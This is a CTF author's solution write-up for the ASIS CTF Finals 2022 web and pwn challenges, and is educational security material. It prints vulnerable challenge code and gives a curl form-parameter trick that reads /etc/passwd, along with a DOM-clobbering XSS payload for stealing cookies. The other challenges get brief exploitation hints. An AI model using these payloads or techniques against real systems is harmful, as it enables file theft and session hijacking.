# ASIS CTF Finals 2022 webs & pwns solutions ## prewords You can find the challenge links and exploit [here](https://github.com/parrot409/My-CTF-Challenges). ## RaaS-v1 - web This challenge was the *welcome* web challenge. The purpose of this challenge was to make players read the documents of curl and find a little-known curl feature to read `/flag.txt`. ```php <?php if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ die('curl :thonk:'); } $url = 'http://localhost'; $method = 'GET'; $formParams = []; if(isset($_GET['url'])){ $url = $_GET['url']; } if(isset($_GET['method'])){ $method = $_GET['method']; } if(isset($_GET['formParams'])){ $formParams = $_GET['formParams']; } $cmd = 'curl '; $cmd .= '--proto -file '; $cmd .= escapeshellarg($url).' '; $cmd .= '-X '; $cmd .= escapeshellarg($method).' '; foreach($formParams as $key => $value){ if(preg_match("/^\w+$/",$key)){ $cmd .= '-F '; $cmd .= escapeshellarg($key.'= '.$value); } } header('Content-Type: text/plain'); system($cmd); ``` After reviewing the challenge, one might think about the "Files as form paramter" feature of curl. For example `-F A=@/etc/passwd` embeds the content of `/etc/passwd` to the request. But there is a space after the equal sign so this trick won't work. > when doing `-F 'A= @/etc/passwd'`, curl interprets `@/etc/passwd` as a string not a file. There is a section in curl man page that explains about a feature in handling -F parameters. `curl -F "submit=OK;headers=@/etc/passwd" example.com` The above command sends the content of `/etc/passwd` as the header of `submit` form parameter. So if i do: `curl localhost:9000 -F 'a=A;headers=@/etc/passwd'` the following request will be sent to `localhost:9000` ``` POST / HTTP/1.1 Host: localhost:9000 User-Agent: curl/7.81.0 Accept: */* Content-Length: 3188 Content-Type: multipart/form-data; boundary=------------------------9ab2bbf7a3389b38 --------------------------9ab2bbf7a3389b38 Content-Disposition: form-data; name="a" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... A --------------------------9ab2bbf7a3389b38-- ``` ### h.n.y - web I was expecting around 5 solves for this challenge but it turned out to be easier than i expected. It was because it was solvable without the "little-known trick" i had in mind. Nevertheless, I think it was a good challenge for more experienced beginners since the trick to solve this is documented by a website with a great SEO ranking (portswigger blog). ```htmlmixed <!-- csp: default-src 'self'; script-src 'unsafe-eval' 'nonce-$nonce$' --> <html> <head> <title>hi</title> </head> <body> <h1>definitely not vulnerable to XSS</h1> <div> $html_injection$ </div> <script nonce="$nonce$"> try{ eval(window.h.a.p.p.y._.n.e.w._.y.e.a.r._.h.a.c.k.e.r.s.toString()) }catch(e){} </script> </body> </html> ``` There is a html injection vulnerablity in this page and the player should steal the cookies. Injecting script or event-based payloads don't work because of the csp. DOM Clobbering has become well-known in the past years so it shouldn't be hard to figure out that the `window.h.a.p.p.y...` property should be clobbered ( if you have experience about client-side stuff of course ). To clobber that many property levels, the player needs to find out about the [*nested iframe* technique](https://portswigger.net/research/dom-clobbering-strikes-back). [This blogpost by portswigger](https://portswigger.net/research/dom-clobbering-strikes-back) mentions that normally, when you inject your html payload, the script can't access the properties that are inside the iframe because they are not rendered by chrome. The blogpost also mentions a way to solve this issue which is using "style imports" in a style tag. I wanted to disallow players to use this "style imports" technique so i blocked the usage of inline-css with csp. The intended way to solve this is using the "blocking" attribute of link tags. ```htmlmixed! <iframe srcdoc="oh"></iframe> </iframe> <link blocking="render" href="critical-font.woff2" as="font"/> <script>/*script*/</script> ``` The above link tag stops the html-rendering while fetching the font so it gives the iframe an enough time to render. But it was also possible to solve this by injecting many stylesheet link tags which i thought it's not possible. ### phphphphphp revenge - web #### Solution The php-fpm binary is patched to prevent players from using "PHP_ADMIN" fcgi exploits. php fpm has a feature that lets you read the body of the request from a file. Basically php reads the body from a file if the `REQUEST_BODY_FILE` env parameter exists. You can find the implementation [here](https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L442). But you can't read the body normally since the RCE parameter is also using POST parameters. The way to do this is reading the memory of a process that is handling the POST request that contains the flag. There is some sort of race condition here. Please refer to the exploit for further information. ### RaaS-v2 - web #### Solution CNAME response can contain slashes so you can hit the internal endpoint! The trick to read the response from the flag server is that you have to pad your response to 1024*1024 characters and then append the flag at the end of the response. The response is sliced so the response can have your known body plus the first char of flag. ### jry #### Solution > You have to develop an exploit for this 1 day bug https://github.com/jerryscript-project/jerryscript/pull/4794 ### readable-v2 #### Solution You can crash the binary by doing the following job in a loop > pid = fork() -> kill(pid,9) -> waitpid(pid,&wstatus,-1) And then you can register your own seccomp listener and bypass the execve checks! ### permissions #### Solution [this issue](https://bugs.chromium.org/p/chromium/issues/detail?id=795929) shows that clipboard data is not protected by sandbox. The chromium is outdated so you can use [this public exploit](https://github.com/github/securitylab/blob/main/SecurityExploits/Chrome/v8/CVE_2022_1134/superic_rce.html) to enable mojo and read the clipboard with a mojo request.